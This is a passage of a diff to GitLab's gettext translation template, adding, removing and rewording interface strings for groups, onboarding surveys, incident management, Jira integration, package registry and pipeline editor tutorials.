msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15377,6 +15589,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15398,13 +15613,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15467,6 +15685,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15785,9 +16006,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15824,22 +16042,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -15911,7 +16138,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -15926,6 +16153,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -15938,6 +16168,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16053,9 +16295,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16084,9 +16323,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16171,9 +16407,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16183,9 +16434,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16339,6 +16587,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16582,6 +16833,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16615,6 +16869,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16627,9 +16884,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16642,6 +16908,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16768,6 +17037,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16807,6 +17079,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16822,10 +17097,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16861,9 +17136,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -16939,6 +17223,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -16978,6 +17265,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17017,6 +17307,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17032,9 +17325,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17164,7 +17454,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17360,10 +17650,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17441,7 +17731,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17627,7 +17917,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -17861,6 +18151,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -17930,12 +18223,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -17963,6 +18250,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18008,6 +18316,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18110,6 +18421,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18119,6 +18433,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18152,13 +18472,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18182,7 +18502,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18257,6 +18577,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18272,10 +18595,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18362,7 +18685,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18410,6 +18733,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18425,6 +18760,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18518,6 +18856,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18551,6 +18892,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18578,9 +18922,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18617,6 +18982,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18858,18 +19226,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19041,6 +19403,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19077,6 +19445,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19558,7 +19929,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19816,6 +20187,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -19903,6 +20277,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20098,6 +20475,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20149,9 +20529,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20440,10 +20817,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20543,6 +20920,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20717,10 +21097,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -20976,6 +21356,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21108,6 +21494,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21135,6 +21524,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21301,9 +21693,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21403,9 +21792,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21752,7 +22138,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21779,6 +22165,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -21992,6 +22381,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22314,6 +22706,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22693,7 +23088,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22792,7 +23187,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -22858,6 +23253,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -22885,6 +23283,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -22927,6 +23328,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -22948,6 +23352,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -22999,9 +23406,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23011,6 +23427,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23026,6 +23445,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23071,6 +23493,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23083,12 +23508,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23185,7 +23604,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23200,6 +23619,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23251,6 +23673,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23386,6 +23811,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23464,6 +23892,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23518,6 +23949,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23584,6 +24063,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23641,6 +24123,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23662,6 +24147,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23716,6 +24204,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23746,9 +24237,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24046,9 +24534,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24085,6 +24579,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24094,6 +24591,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24127,9 +24627,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24157,6 +24654,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
